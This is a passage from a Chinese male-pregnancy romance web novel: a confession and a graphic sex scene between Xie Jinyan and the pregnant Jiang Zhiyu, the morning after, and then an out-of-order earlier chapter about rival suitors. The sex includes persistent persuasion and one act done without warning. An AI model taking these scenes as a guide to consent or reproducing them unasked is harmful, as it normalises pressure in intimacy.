谢津延高大的身躯僵了僵,脚步顿住,过了许久,缓缓转过身。 “你说什么?”男人漆黑的眸子凝住他。 江之遇闭了闭眼,揪着他衬衫衣摆的手指在微微颤抖,声音很小声。 “我是说,不是一点感觉也没有。” 谢津延俊逸面庞上的表情怔愣一瞬,随后掠过一抹不可置信。 他以为自己听错了,重复一声:“你是说对我不是没有感觉?” 江之遇鸦羽般的眼睫剧烈颤动,不敢直视他,只羞涩地点了点头:“嗯。” “你说的是真的?”谢津延半晌,还是感到不可置信。 末了,语气苦涩,“你不用安慰我,我说到做到,不会再打扰你和纠缠你,给你和宝宝想要的生活。” “没有安慰。”江之遇依旧不敢直视他的眼睛,声音也开始有些发颤,“我不知道算不算,但你亲我,我不讨厌。” “有时候和你在一起很开心,虽然你总是很凶,但我会期待你带昭昭来找我。” 谢津延听了这句话,身形怔住。 过了许久,黑色瞳孔放大,亮起一点光。 总是吝于笑意的冷峻面孔上从来没有牵扯出这样大幅度喜悦的表情。 他心底像是炸开一簇烟花,又像是被甜蜜的气泡水一瞬填满。 胸腔鼓噪,抑制不住的欢欣挑上眉梢。 “你没有骗我,真是这样觉得?”谢津延极力克制住内心的颤动,用低敛的语气问道。 江之遇被他黑眸闪烁的灼灼视线盯得脸部火热,再次点点头,小声嗯了声。 “那我是不是可以理解为你也有一点喜欢我,你并不是不能接受男人,我还有机会是不是?” 江之遇一怔。 喜欢吗? 他不知道这种情绪是不是喜欢,他没喜欢过人,以前也没有人对他说过喜欢。 不知道喜欢是什么样的心情。 他只讷讷回说:“我不知道,只知道你刚才说要离开,我有点不想你走,还有……你干什么?” “唔……” 江之遇睁大眼眸,连自己都不知道接下来要说什么的话还未说出口,就被男人一把捧住脸低头吻住。 熟悉的气息迅速灌满口腔,触碰过许多次的唇齿交融,辗磨。 他几乎是一下子就被吻得没了力气。 江之遇憋红了脸,想问他怎么突然这样。 然而刚启开一条唇缝,舌尖就立刻被趁势捕捉地勾住。 湿缠,重重舔.吮,像要把他吸进他口中,连人带骨吃掉。 江之遇的眼眸很快蒙了层水雾,双颊飞上红晕,眼尾洇出潮湿的红。 他推了推他,没推动。 迷离视线瞥见远远走过来一个乡民的身影,一下子收拢神智,在搅弄他的唇舌上咬了口。 淡淡的血腥味在口腔中弥散开,江之遇一把推开人:“你干吗突然这么凶地亲我?有人来了。” 谢津延只感到胸腔鼓噪,心脏剧烈跳动,有什么要鼓噪而出。 就连咬在舌头上的痛和口腔里的血腥味都变成了激起这种鼓噪的催化剂。 他沉冽眼眸染上炽热情绪,用他的句式:“我不知道,我只知道我现在特别想亲你,狠狠亲你,把你抱在我身上,从现在亲到明天,后天也行。” 江之遇:“?” 憋红着脸半晌:“不吃饭了吗?而且现在还是在外面,你没看到有人在往这边走吗?” “那回去你给我亲吗?”谢津延掀着眼皮看他,呼出的气息微喘,听得人脸红心跳。 江之遇目瞪口呆,简直震惊。 过了许久,从他面前走开,一脸羞愤:“回去再说。” 两人一前一后走在降下的暮色中。 身后跟着个高大的身影,江之遇脸很红,好几次都感到有手指触碰到他,像是要牵他的手。 他加快脚步,试图甩开对方,却没什么用。 这人好像能控制住这样不紧不慢跟在自己身后的步伐和距离一样,总能有意无意勾到他的指尖。 回到家,把鹅暖石和睡莲叶铺进小乌龟的生态缸。 接着,给垂耳兔、花栗鼠喂食。 再然后,他们俩自己也做了晚饭吃。 吃完饭,一收拾完碗筷,江之遇就被搂在桌子前亲。 这时候天色已经完全降下,山脚下施工的声音停歇,树枝上的鸟叫也不如白日那么持续响亮。 屋子和院子里都亮了灯。 江之遇几乎是被立刻攫住了呼吸。 男人不知道是怎么回事,从在落日下自己说了那句有点不想他离开的话后,他就整个人处在一种极度亢奋和怪异的状态。 搂着自己的胳膊箍得很紧,彷佛下一秒自己就要逃开似的。 伸进来的舌头不放过口腔中每一寸地方,每一处都要舔.弄很长时间。 江之遇其实有点担心自己刚才咬了他,他都不怕痛吗? 都这样了还能亲人。 “你、” “叫我名字。”舌头又被顺势捕捉,还低低吐出这样一句话,粘连出银丝。 江之遇头皮有些发麻,被他箍在怀里抱着,听到这句话,缺氧的脸涨得更红了。 他叫不住口。 主要是这种从舌头到呼吸都被占据的情况也没机会说出口。 而且这种莫名的,每分每秒都要和他唇瓣粘黏在一起的怪异和亢奋渐渐弄得江之遇也有些燥。 他不知道昭昭小叔怎么了,为什么会这么急切。 不知道是不是对方的体温过高,搅弄在口中的气息太烧灼,还是扣在腰身和脖颈上的掌心太过灼烫。 江之遇就感到自己也像是上了火似的。 “阿延……” 不知亲了多久,他终于受不了了。 嘴唇被弄得湿湿呼呼的,舌头也发麻发软,像那晚一样,又开始找不到知觉,只能被肆意摆弄。 江之遇在换气的间隙终于找到一个机会张出口,眸子覆着的水雾潮湿。 他目光涣散地叫出这个他一直叫不出口的名字,想让男人让他缓一缓,不要亲得这么凶这么急。 他有点缺氧,身体也怪怪的。 然而当他无意识叫出这个名字后,箍着他的手臂似是一僵,随后大力收紧,不再亲他了,而是一把将他抱了起来。 身体骤然腾空几秒,江之遇还没反应过来,就被抱坐在了桌子上。 “你刚才叫我什么?”谢津延漆黑的眸子盯着他,手心托住臀部柔软。 江之遇上一秒还被亲得以为自己要缺氧死掉,下一秒就被像以往每次那样被箍在一个狭小的空间。 他睁了睁蒙了一层水雾的眼睛,茫然:“什么?” 谢津延:“你刚才喊我名字了。” 江之遇回忆了一瞬,好像确实无意间喊了一声。 他耳根腾一下烧灼,渐渐找回意识,语气很是羞敛。 “我只是想让你别亲得这么凶,你今天怎么了,我感觉你都快要把我吃掉了。” “和我做好不好?” 突然,眼前人说出这样一句话。 低低的嗓音,染了丝克制着什么的暗哑,灼热气息缠着他的呼吸。 江之遇愣了几秒,一瞬绷直身体。 “做、做什么?” 谢津延胸腔依旧剧烈跳动,刚才那声“阿延”让他再也克制不住这种鼓噪。 有什么要冲破而出。 他极力压制着这种剧烈跳动的心情,指腹抹去被他亲得有些肿的唇瓣上银亮的水痕。 呼吸重,黑眸也覆上一层浓重的情绪。 却突然像十八九岁的青涩少年,眼神不自然闪动,干涩的嗓音也语气闪烁:“就那种,第一次我们在酒店做的事。” “……你是说你要捅我屁.股?” 谢津延:“?” 谢津延反应了好一会儿,才把他口中这句话和自己想的事情对上。 随后脸有些发热地点点头,又急忙补充:“你放心,这次我会温柔,不会像上次那样横冲直撞了。” 江之遇有些傻眼,与此同时,从脸颊到脖子根迅速铺了层靡丽的红。 没想到他说的要和自己做的真是这种事情。 江之遇现在已经知道这个世界男人是可以和男人干那种事了。 也知道了后面原来还可以有这种用法。 然而知道是一回事,做过一次也是一回事,让他再来他还是有些接受不了。 而且他干吗要和他做这种事啊,不是只说接吻吗? 虽然很羞耻,江之遇其实觉得接吻还是挺舒服的。 “我、我不和你做这种事。”江之遇磕磕绊绊道,脸憋得通红,“你那里太恐怖了,捅进来一定会坏。” “可是上次就没有。”男人目光恳切。 江之遇一愣,回忆了一下他说的,十分羞恼:“我不和你说了。” 他抬腿踢了他一脚:“你放开我,我今天也不想和你亲了。” “嘶——”一记疼痛的声音传来,他看眼前男人倒吸一口气,俊逸面庞上的五官拧了拧。 江之遇顿时一慌:“我踢到你哪里了?对不起,我不是故意的,你疼不疼啊。” 他从桌子上下来就要帮他查看有没有踢伤,要不要去拿药膏。 下一秒被压在桌子上,高大身躯覆过来,指骨分明的手指挤进他五指间,扣在身侧,却记得避免压到他的肚子。 灼热气息在耳侧游荡,江之遇听他低低嗓音蛊惑似的。 “和我做好不好?你不是好奇男人和男人为什么生理构造一样却不觉得尴尬吗?我们正好可以探索试试,像之前尝试接吻那样。” 他说完这句蛊惑的话,又有些低落不安似的,也不知道是不是自己听错了。 “主要是你今天告诉我说你对我不是没有感觉,不想我走,我太高兴了,又怕明早醒来你不理我,像上次那样不见了。” “之遇,之遇哥,我错了,我那天其实一点都不想签协议,带你回我那里也是想拖延时间。” 谢津延不知道为什么,明明等到了自己想听的话,被告知对自己并不是一点感觉没有。 他的心情从傍晚欢欣鼓噪到了现在,却又涌出了另一种不安。 他就像是一条丑陋的贪得无厌的蛇,得到了想要的,却贪心不足,迫不及待地想要更多。 而且心底的声音告诉他,他更害怕的是失去,怕这是自己做的一场美好的梦。 睁眼醒来,就会像那个雨后天清的早晨,除了留下的淡淡草木清香的气息,身旁空无一物。 江之遇有些意外。 这是他不曾知晓的男人的心思。 这些时日,他听他说喜欢自己,想亲自己,嫉妒靠近自己身边的人。 却是第一次听他吐露出这样的心声。 原来那天是故意拖延时间的吗? 还有“不见”什么的,还不是因为他当时一边说对男人没有兴趣,一边用那里戳着自己。 江之遇可不要跑快一点。 而且他只是回到了自己居住的乡下,哪有他说的那样不见了? 江之遇心情一时有些复杂,望着男人交织着不安和悔意的眼眸。 他撇开一点视线,语气不自然道:“可以探索一下,但你不能像上次那么凶,不管我怎么求饶都不听。” “我这次一定温柔。”眼前的男人黑眸一瞬亮起,重新染起灼热的目光。 他往自己唇上重重亲了一口,保证道:“我一定听你的,你让我停我就停,如果我不遵守,你可以惩罚我,怎么对我都行,只要别不理我,别再突然消失离开我。” 江之遇有点无语,他能去哪里啊。 而且让自己惩罚他,怎么惩罚,拿鞭子抽他吗? 江之遇在心里咕哝。 随后,脸红红地推了推面前的胸膛:“要、要探索的话是不是应该回房间?” 他现在还被压在堂屋的桌子上,虽然之前也被压在酒店套房的沙发和茶几上做过,可江之遇不想再经历这样羞耻的事情。 谢津延一瞬间收回神,突然冲上头的喜悦让他险些忘了思考。 他一把将纤瘦的身体从桌子上打横抱起。 身体骤然腾空,江之遇惊吓一声,双手下意识搂住眼前人的脖颈。 “你干吗啊,我自己能走路。” 然后被几步抱到了自己卧室的床上。 脊背贴上熟悉柔软的床褥,江之遇来不及调整姿势,就被湿缠急切的吻堵住。 他怎么这么喜欢接吻啊,总也亲不够似的。 “你先等一等。”江之遇推了推他的脑袋,好不容易推开一点,湿软触感抽离,脸颊却又被顺势亲了一口。 江之遇:“……” “能不能先去洗澡啊!” 真是的,不是有洁癖吗,喝醉酒那么迷糊都坚持要去洗澡。 谢津延放过这段时间修养的日渐红润,有了点肉感的可爱脸颊,唇角弯起愉悦的弧度:“你说得对,要先去洗澡。” 他站起身,扯掉自己的领带,想起什么似的拨通一个电话。 “对,半小时之内送过来,不超过四十分钟,一小时也行,无论用什么样的方式。” 江之遇迷惑,等他挂断电话,不解地问:“你在给谁打电话,要送什么?” 谢津延放下手机,告诉他:“安全套,你现在怀着孕,不能不做防护措施,我不能像上次那样不管不顾在你体内了,会有二次受孕的风险,对你的身体也不好。” 江之遇呆了呆,随后脸色爆红。 “那不试了。” 虽然许大夫跟他说过他现在到了可以同房的时期,可还是有些担忧。 谢津延:“?” “你怎么反悔啊?” 江之遇涨红了脸:“我主要担心伤害到宝宝。” “不会的,我会很小心,一定不会让你和宝宝有事,不行我只给你弄。” “你怎么给我弄?”江之遇有些懵。 谢津延正着一张凌厉冷酷的脸:“我可以给你舔。” 江之遇:“???” 大脑转了又转也没听明白他说的是什么意思。 毕竟那天晚上更多的是药效支配下发泄一般最原始的动作。 江之遇还不知道男人和男人之间有很多可探索的模式。 他只忽然有些紧张。 对方去洗澡了,之后,他也去了卫生间。 好奇怪,有点像待宰的猪。 江之遇又好奇,又紧张,后悔一时心软答应和昭昭小叔做这种事了。 敲门声就是在这时响起,一个驻守在溪源乡的秘书处成员送过来一个小盒子。 当上司面无表情从自己手中接过这盒他听宋总助差遣,从山那边的集市买回来的安全套,随后看上司面无表情关上门。 这名秘书处成员在脑海里疯狂尖叫。 啊啊啊啊啊! 他终于知道为什么宋总助交代他们对待小少爷的养父像对待总裁夫人一样。 这竟然就是真的总裁夫人! 这名秘书处成员吃到了一个大瓜,突然觉得驻守这么个山旮旯的地方也没什么不好的。 他就说上司为什么像是把办公地点搬到了乡下一样,几乎天天待在乡下不回去。 原来是留恋温柔乡。 江之遇从浴室出来的时候正好看到昭昭小叔拿了个小盒子回来。 即使知道是秘书处的成员,不会有人透露出去,他还是很羞耻。 “真要试吗?” 江之遇生出了一丝退缩。 下一秒就被再一次抱到了床上。 这次,谢津延就不再听他支支吾吾了,直接堵住他的唇。 江之遇呼吸很快被夺走。 和之前每一次都不一样的感觉,之前是头皮发麻,让他有一种灵魂都要被吸噬掉的错觉,又凶又急。 这次倒真像他承诺的那样,很温柔,很慢。 反复地,缓慢碾磨,很轻地吸,吮,像在品尝什么美味的甜点。 却让人有一种浑身起鸡皮疙瘩的感觉,比头皮发麻还要怪。 而且还不断推自己衣服,亲了亲嘴,又吮其他地方。 在越来越不对劲,角度和位置越来越怪。 江之遇忍不住推开他的脑袋:“你、你到底在干吗啊?” 谢津延抬起头,俊逸五官染了浓重的情绪,嗓音浮上一丝低哑,却平静认真:“你不总说我之前很凶吗,我这次温柔些。” “那也不能一直这样啊……”江之遇不知道男人怀孕除了他了解的那些身体上的变化,还会有哪些,他只知道自己这里现在有些难受。 而且也不知道是不是被眼前人像吃果酱一样,他现在整个人都很奇怪。 像有蚂蚁在体内啃咬,痒痒的,想用手挠,却不知往哪里挠去。 谢津延似是看出来一样,安抚道:“不这样的话一会儿你会很难受。” “那你还要多久呢。”江之遇有些受不了了。 谢津延竟然真的在认真思索:“下面,后面,至少要半个小时吧,也可能更久,不然你有可能受伤,也很干。” 下、下面。 还有……后面??? 江之遇双眼迷蒙了半天,撑了撑身体。 他的肚子现在能看到明显的起伏了,不过平日里被宽大的衣摆遮住,从外人的视角,不怎么能看到。 这会儿衣摆推开,能很清晰地看到那里孕育着一个小宝宝。 江之遇看着男人伏在这个位置,脸庞帅气俊逸,滚了几滴汗珠,顺着流畅的下颌线坠落。 像那天晚上他在清亮月色下看到的一样,有种让人让人心脏一惊,脸红心跳的性感。 他很是惊慌又惊讶地问:“那、那里也可以用嘴吗?” 谢津延喉咙溢出一声干涩短促的嗯,随后道:“总之你交给我就行了,我研究过男人和男人怎么做会更舒服,不会像上次那样只顾我自己了。” “你还研究过?”江之遇睁大眼睛,感到难以置信,“你什么时候研究的这种事情?” 不是,他到底每天能干多少事啊。 谢津延语气平静:“开视频会议无聊的时候,他们有些人汇报工作很枯燥。” 江之遇:“……” 江之遇开始怀疑谢氏集团真的是眼前这个男人年纪轻轻上位,只用了三年时间就发展到如今这样庞大的体量和规模的吗? 然而不等细细思考,江之遇啊了一声,从唇畔发出一记受惊的尖叫。 他声音本就好听,吴侬细语的,带一点上扬的尾音。 即使声音拔高,也不会刺耳,反而有一种挠得人心痒痒的甜腻。 眼下,他因为男人突然的举动发出这声惊叫。 漂亮白皙却覆了层薄茧的手指扯住床褥,江之遇忍不住看过去。 看到男人低下头。 江之遇十分震惊,望着眼前的景象,整个人呆滞了片刻,这样也行吗? 这里不是、不是…… 没多久,更颠覆他的事情冲击他的大脑。 他被折起,总是搅得他缺氧的湿软转了位置,后方。 带来一股十分怪异的感觉。 江之遇一瞬间眼眸睁得很大,终于明白男人一开始说的只给自己做是什么意思。 原、原来男人之间还可以这样。 江之遇再度刷新了认知,被眼前的画面冲击到。 手指揪着他的头发,江之遇无力去推他,感觉身体和意识都在一点一点软化,很快就要溃散。 “阿延,别这样,太奇怪了……直接,还是直接吧。” 这是今晚他第二次叫自己的名字,也是自己内心期待已久的。 谢津延一听他叫自己的名字,胸腔就剧烈鼓噪。 何况还是在现在这种情况下,用这种挠得人心痒痒的,发甜发腻的声音。 谢津延只感到热意上涌,像那晚被下了药一样,身体急蹿出一道电流。 他极力压制住自己的冲动,抬起头,薄唇牵出水色银丝,他抿了抿唇舔去,低声问:“你确定不继续了?” “嗯。”江之遇收紧插进他发丝的手指,并了并腿,“太难受了,一点也不像你说的那样,还不如直接……” 进来两个字消散在越来越小声的甜腻尾音里。 谢津延眸色一瞬变得幽暗,欲望压得很深,呼出的气息也有些重。 他一把将人抱起来,坐到自己腿上,低低嗓音颇有些无奈:“这样的话,到时候你又说我凶怎么办。” “我不说你了。”江之遇眼睫蒙了水雾,眼梢也在发红。 他闭了闭眼睛:“只要不像刚才那样难受,或者我们不做了,就到这里吧,改、改天再试。” “那可不行。”谢津延吻了下他覆上水意的漂亮眼眸,很温柔的样子,像轻羽落在眼睫上。 江之遇被落在眼睛上温柔的吻欺骗到,没去注意到他说的这句话是什么意思。 他短暂地沉溺在这样的温柔中,下一秒,就猝不及防地惊叫了一声,是比刚才更短促尖腻的声音。 江之遇一瞬茫然,不知道发生了什么。 像有一片雾纱突然罩在了头顶上,让他的眼睛还有大脑出现了短暂的茫白。 雪花覆上眼睛,棉絮一样的思絮在脑海中牵扯。 过了许久,才反应过来,羞恼地咬了一口男人的肩膀。 “你、你怎么这样,也不提前和我说一声。” 谢津延吃痛,却更加愉悦。 含了含他小巧圆润的耳垂,低沉性感的声音像是穿过耳膜钻进了颅腔,让江之遇头皮一阵发麻。 “我是按照你说的,听你的话,你说直接就直接。” 一反刚才的隐忍和温柔,反复吸.吮耳垂,瞥到那颗不止一次落到自己视野里若隐若现的小痣,舔.弄过去。 江之遇眼神涣散了一瞬,大脑空白几秒,恍然感觉自己落进了一个圈套,还是自己主动投进去的。 他像后知后觉察觉到危险的兔子,顿时想逃,然而已经晚了。 他被男人牢牢钉在了腿上。 接下来,江之遇无比后悔答应昭昭小叔和他一起探索男人和男人之间的这种事情了。 虽然和那天晚上是完全不一样的感觉,昭昭小叔确实像他承诺的那样,听自己的。 自己让他停,他就停,但是停下来后细细地磨又比不停难受。 江之遇就只能让他继续。 然而每到这种时候,这个男人就会展露出他恶劣的本性,用低低的嗓音不断在自己耳边确认:“真的要继续吗?” 江之遇不得不颤动着眼睫点头:“继续……” 然后就是比上一次更大力的对待,眼角被逼出更多的泪花。 如此反复,将这个男人在这方面的恶劣发挥到了极致。 最后江之遇实在没力气和他纠缠,只能任他摆弄,因为停止之后的继续要付出更大的代价。 他又不能说不试了,不然就是更让他无力招架的对待。 而且要顾及肚子里的宝宝,不能压到肚子,更多的时候,江之遇只能坐着。 有时候是对着他,一边像骑马一样带着自己在不平稳的路面上颠簸,一边还要和未来的宝宝抢东西喝。 虽然根本什么都没有,但咕啾咕啾的,倒也真像挤出来点什么。 有时候把自己背过去,掰着脸颊和他接吻,被重重吮舌头。 不管哪一种,每一次都能到山顶,让江之遇大脑一次又一次茫白。 窗外的夜色越来越浓。 夜色清明,树枝上的鸟儿都沉睡了,只有悦耳的虫子还在暗夜里卖力地叫,奏响悦耳的虫鸣。 当然,一道融进去的还有江之遇的声音。 他控制不住自己,还好他的小院比较偏,独立在一处。 隔壁的小蓁姐母女俩住的屋子离他家有一段距离。 不然他被逼出的这样让他感到十分羞耻的声音一定会被听到。 最后抽空了力气,昭昭小叔顾及他怀孕,不能折腾到太晚,一盒安全套也快用空了。 江之遇已经无力撑起眼皮,只能像破碎的娃娃一样被抱进了浴室。 心里想着,以后绝对不要再被昭昭小叔轻易蛊惑做这种事。 这个男人太坏了。 第60章 第 60 章 我们现在算确定关系了吗…… 被温热的水流冲洗着身体, 全程,江之遇累得一根手指头都不想动。 之后又被抱回了卧室,迷迷糊糊看到昭昭小叔在换床单和被罩。 不知道最后是什么时候睡的, 就记得这一觉睡得很沉, 醒来的时候, 时间已经不早了。 窗外的枝头又响起了悦耳的鸟叫, 似是鸟儿们沉睡过后, 也开启了新一天的生活。 江之遇朦朦胧胧地睁开眼, 盯着头顶上的屋顶,感到眼皮有些沉重,身体也有一种被碾压的感觉。 这种感觉似曾相识, 他眼睛惺忪了会儿,随后感到平日里自己一个人睡的木床有些拥挤。 有什么紧紧箍着他, 身边温度也灼烫, 温热的气息擦着耳垂,伴随着均匀的呼吸声。 江之遇一阵茫然, 缓缓转过头, 看清身旁的景象, 反应过来,已经将人踹到了地上。 “扑通”一声。 睡得正香的人突然跌醒,江之遇也一下子清醒了,连忙探过头。 “你没事吧?” 他一时忘了两个人昨天做了那种事,之后昭昭小叔就直接抱着他在自己的床上睡下, 没回房间。 江之遇平日里都是自己一个人睡, 只有养子来的时候,和养子一块。 昭昭还是个小男孩,占据不了多大的空间。 所以身边的空间陡然被挤占, 他还被紧紧抱着,转头看到一张放大的面孔,他有些没有回过神来。 谢津延从地面上站起,顺便捞起被牵扯下来的薄被。 清早醒来,他的声音浮着很低磁的暗哑,人也有些怔忪:“没事,我没摔到,你醒了,身体难受吗?” 江之遇摇摇头:“还好。” 虽然还是有些不适,但提前做了很多准备。 这个男人给自己弄了很久,不像第一次那样不管不顾的很是强横粗暴,一做就是一整晚。 除了残留的异物挤开的感觉,他的身体没有特别难受。 江之遇现在只有些怔然,盯着从地面上爬起来把被子放好,然后往身上穿衣服的男人。 天光大亮,他卧室的窗户照进来的光线特别明亮。 江之遇还没来得及看时间,但从日光判断,就知道不早了。 这样明亮的光线落在眼前的男人身上,昨晚全部的注意力都在身体感官上,眼睛逼出许多泪水,他的视线大部分时间都是朦胧的。 所以借着这样的日光此刻看清眼前的景象,才会让江之遇感到多么触目惊心。 很结实悍利的肌肉线条,套着衬衫衣袖的手臂臂肌隆起,起伏着很明显的青筋。 昨晚就是这样一双青筋暴起的手臂一直托着自己,抬起,沉下。 让他似是在马背上颠簸,又像是在波浪汹涌的海面上沉浮,不知道什么时候才能降落。 江之遇总也不能把男人这种时候与西装裹身时的样子联系在一起。 那么矜贵俊逸的一个人,一举手一投足似是参加晚宴的贵公子,可是到了这种时候就像换了个人似的。 浑身上下充满了野性,也很恶劣。 江之遇看他很快被衬衫包裹住这些起伏,包括胸膛被自己抓出的红痕。 侧身时肩上一道咬痕惹眼,是昨晚他突然进来时自己承受不住咬的。 现在这道痕迹也被衬衫布料遮住,仿佛一张假面,忽然遮住了他的另一张面孔。 江之遇看他慢条斯理地把衣服穿好,随后俯身在自己额头上亲了一口。 很短暂的触碰,带来熟悉湿软温热的触感,还有亲吻时独有的亲呢的“啵叽”声,但转瞬即逝。 江之遇愣了一下,感受到额间残留的温热触感。 像昨晚他轻吻自己的眼睛一样,蝴蝶飞到眼睫上温柔停栖。 江之遇耳根悄悄爬上一层热意,不知怎么的,心脏也跳动了一下,有一种奇怪的情绪在心底浅浅漾开。 他来不及分辨这种情绪是什么,听昭昭小叔说道:“你再睡一会儿,我去做点早饭。” 江之遇讷讷点头。 他看着这道身影从自己面前走开,直到消失在眼前,耳畔响起洗浴间水流的声音,还是感觉很恍惚。 他竟然和这个男人做了。 和养子的亲小叔发生了这样亲密的关系,这个男人同时又是自己肚子里孩子的亲生父亲。 是他曾打算断绝关系,以后再也不会和对方有任何牵扯的人。 江之遇有点乱乱的。 但是比这样混乱关系更让他感到恍然的是,他对这个男人不是一点感觉都没有。 不然昨晚也不会受他蛊惑,答应和他尝试做这种事。 江之遇觉得自己这下彻底不能算直男了,因为他会被男人亲得身体发软,又和男人再一次发生了肢体接触。 也不能再把捅自己的那个当成棍子。 他晕晕乎乎地在床上坐了一会儿,随后也穿好衣服起床。 低头看到床单都换了新的,脸上一红。 之后去卫生间刷牙,洗脸。 太阳又高高挂在了天空,天气晴朗,外面绿荫笼罩。 一切好像什么都没变,一切又好像发生了很大的变化。 而且是短短一段时日里就发生了这么翻天覆地的变化。 江之遇都觉得像是做梦一样。 洗漱完从卫生间出来,昭昭小叔刚好已经做好了早饭。 “你怎么起来了?”谢津延听到动静转过头,从语气中能够听得出他心情十分愉悦。 江之遇望着他在厨房围着小熊围裙的高大身影,怔神道:“我不习惯赖床,也睡好了。” 他一向都是准时起床,有自己的生物钟,没有睡懒觉的习惯。 “那看来是我不够努力。”谢津延端了玉米粥和馄饨过来。 江之遇一怔,随后反应过来他说的是什么意思,脸色爆红:“你在胡说什么啊。” “我们现在算确定关系了吗?”男人漆黑的眸子看过来,给他舀了碗粥。 江之遇又一次被这个男人跳跃的思维问得懵住:“什么?” 谢津延便走到他面前,捧住他的脸颊,惯常沉冽的眼底竟看出十分的认真和深情。 还有一丝不知道是不是江之遇自己看错了的羞敛:“我们昨天都做了这种事,是不是代表你接受我了。” 50-60 第51章 第 51 章 像鬣狗一样全都缠了上来…… 江之遇不懂昭昭小叔为什么突然执着起锁门和不锁门的问题。 不过他们没在这个问题上纠缠多久, 因为昭昭小叔看上去并不打算说明缘由的样子,他便没问。 吃过早饭,昭昭小叔就乘坐直升飞机走了。 临走前照常叮嘱自己离他的那几个朋友远一些, 这几天他们几个有可能会频繁来找自己, 如果他们要蹭饭, 记住一定要收钱。 不能让他们白吃白喝。 当然, “你最好把门关上, 连进来都不要让他们进来。” 江之遇听他最后似是咬牙说了这样一句。 怎么有点像童话故事里兔妈妈交代兔宝宝防大灰狼一样, 难不成他这些朋友会进来自己家里把自己吃掉吗? 江之遇带着这样的疑惑望着直升飞机消失在遥远的天际。 随后关上门回到屋子里,日常给小菜园锄草、浇水,给鸡圈里的鸡喂食。 家里现在又多了一只垂耳兔。 经过几天的适应, 十一好像比一开始放开许多,状况逐渐稳定下来, 开始适应这个新家了。 江之遇帮它换水, 换食物,打扫便盆, 它不再是之前那样一副随时都会受到惊吓然后缩在兔笼角落的样子了。 江之遇想, 或许过了一段时间就能把它放出兔笼, 让它去院子里玩了,它应该会喜欢外面的环境。 照料完兔子,他翻开霍少爷留给他的那本古籍书,尝试里面一个新的技法制作。 敲门声就是在这时响起。 江之遇放下手中的木料走出工具室。 打开院子里的门,看到门口站着个风度翩翩的身影, 捧了束和那晚一样纯白漂亮的玫瑰花。 “昭昭养父, 阿延走了吗?”黎清叙探头往屋子里看进去一眼,虽说是盯着直升飞机飞走的,但还是确认一下。 阿延这狗东西占有欲太强了, 除了孩子的生父根本什么都不是,却一副圈住领地随时咬别人一口的看门狗模样。 江之遇不明白这位黎少爷为什么又捧了花过来,只点点头:“他已经走了,你是找他有什么事吗?” “没有。”黎清叙扬起斯文迷人的笑意,“我只是来问问你,家里有没有需要我帮忙的地方,还有,上次的故事没有讲完,我有一套适合孕期锻炼的孕夫操和胎教方法,你要不要试一试?” “孕夫操?”江之遇疑惑。 黎清叙笑了笑:“怀孕期间不能大幅度动作,但是适当的运动不仅可以保持身体健康,还能够帮助缓解孕期的一些不适,也可以让宝宝在肚子里更加健康地成长。” “是吗。”江之遇第一次怀孕,不懂这些,不过晚上临睡前翻看昭昭小叔带来的那本孕百科全书好像确实提到这一点。 他在犹豫要不要让黎少爷进来。 一道阳光开朗的声音在这时传来:“老黎,你这么兄弟情深的吗?放着公司的事情不做,一大早跑来这里教好兄弟小侄子的养父孕夫操。” 黎清叙斯文面庞上的笑意凝滞一瞬,转过头,就看到他那个傻狗一样的发小顶着张夺目帅气的脸状似惊讶地走到小院门前。 好事又被打搅。 黎清叙努力稳了稳面部的笑意,语气和煦道:“你都说了是好兄弟,阿延不在,昭昭养父又是怀着孕一个人在家,我好歹学过医,帮忙照看一下是应该的。” “那你这个孕夫操也要手把手教吗?”祁焰凑到他身边疑惑问了句。 黎清叙面上掠过心思被戳中的异样,同时注意到“也”,眯眼笑了笑:“怎么,还有谁手把手教过什么?” “倒是没有,但被手把手教过。”祁焰眨眨眼。 黎清叙挑眉:“谁?阿延?你该不会在说你自己吧?” “也不是我。”祁焰后来回想在工具室看到的那一幕,真是羡慕岭生,美人香香的,靠那么近教他,又能摘荷叶又会徒手甩蛇的手就这样覆在他手上。 不知道是怎样的触感。 祁焰怔惘了一秒。 随后又扬起绚烂的笑脸,看向门扉后的人:“之遇哥,我们的宣传活动这两天就开始了,我打算先拍个预热Vlog,可不可以借你的小院用一用?” “你是说要在我家拍视频吗?”江之遇理解了一下他话里的意思。 祁焰点点头,语气十分真诚:“因为我觉得你的小院打理得很漂亮,想从这里切入视角,粉丝们一定会感兴趣,到时候我再拍摄一些溪源乡其他的地方,风土人情,说不定就能激起大家对这里的好奇心了。” “那、那好吧。”江之遇昨天听他们说过要来这里做宣传,像祁少爷这样的大明星,愿意来乡下义务做宣传是很难得的一件事。 昨天晚上乡长也在乡民群里发过公告,要这段时间大家配合好祁少爷。 江之遇作为溪源乡的一份子,自然没道理拒绝,他也挺想大家的生活过的富裕起来。 他打开门,让祁少爷进来。 黎清叙挑了挑眉梢,注意到这座平时不怎么关门的小院今天一直紧闭着门,眼前的男人刚才还一脸警惕地望着自己,虽然疑惑,却没有要让自己进去的意思,一定是阿延背后又说了什么。 可是这会儿,却让祁焰这小子轻轻松松踏进门了。 黎清叙心中略有些不爽,但也就机跟了进去,更加确信这次回去给溪源乡捐一座医院。 “咦,你这花是干吗的?送给之遇哥的吗?”祁焰望了眼他手中的花束,疑惑道。 黎清叙就把花捧到漂亮男人面前,没理他:“早上专程空运过来的新鲜花束,插在你屋子里的花瓶正好。” 还真是送给之遇哥的。 祁焰惊讶了一下,没想到黎清叙这么大胆,竟然堂而皇之地给之遇哥送花,阿延一走就迫不及待地过来撬墙脚。 果然是他们当中最不要脸的。 可是……好像阿延也不算之遇哥什么人吧? 祁焰又想到什么。 像岭生说的,阿延和之遇哥只是有一个孩子而已。 完蛋,他怎么也被他们带得不道德了。 竟然觉得这样有背世俗良序的事情没什么。 但阿延不是确实只和之遇哥只有一层孩子和生父,小侄子和养父的关系吗? 祁焰嘀咕。 不管了,先拍Vlog吧,反正阿延不在,他有一整天的时间待在之遇哥这里,说不定还能找到机会和美人贴贴。 他好想再近距离闻闻之遇哥身上淡淡的草木清香的气息。 怎么会有男人身上这么香,这么好闻呢? 他第一眼看到这个男人的时候竟然还以为他是个空有漂亮脸蛋的无趣的土美人。 屋子里两人各怀心思。 江之遇不知道他们心里都在想什么,只是看着黎少爷送来的玫瑰花,尤其听他说的,还是早上空运过来的。 他拒绝道:“这花我不能收,谢谢你的好意,你拿回去吧。” “为什么,是不喜欢吗?”黎清叙很少有被拒绝的时刻,昭昭养父每天都会换屋子里花瓶的花插,上次的花也收下了,怎么这次就不要了? 黎清叙现在更加确信阿延一定是在背后说什么了。 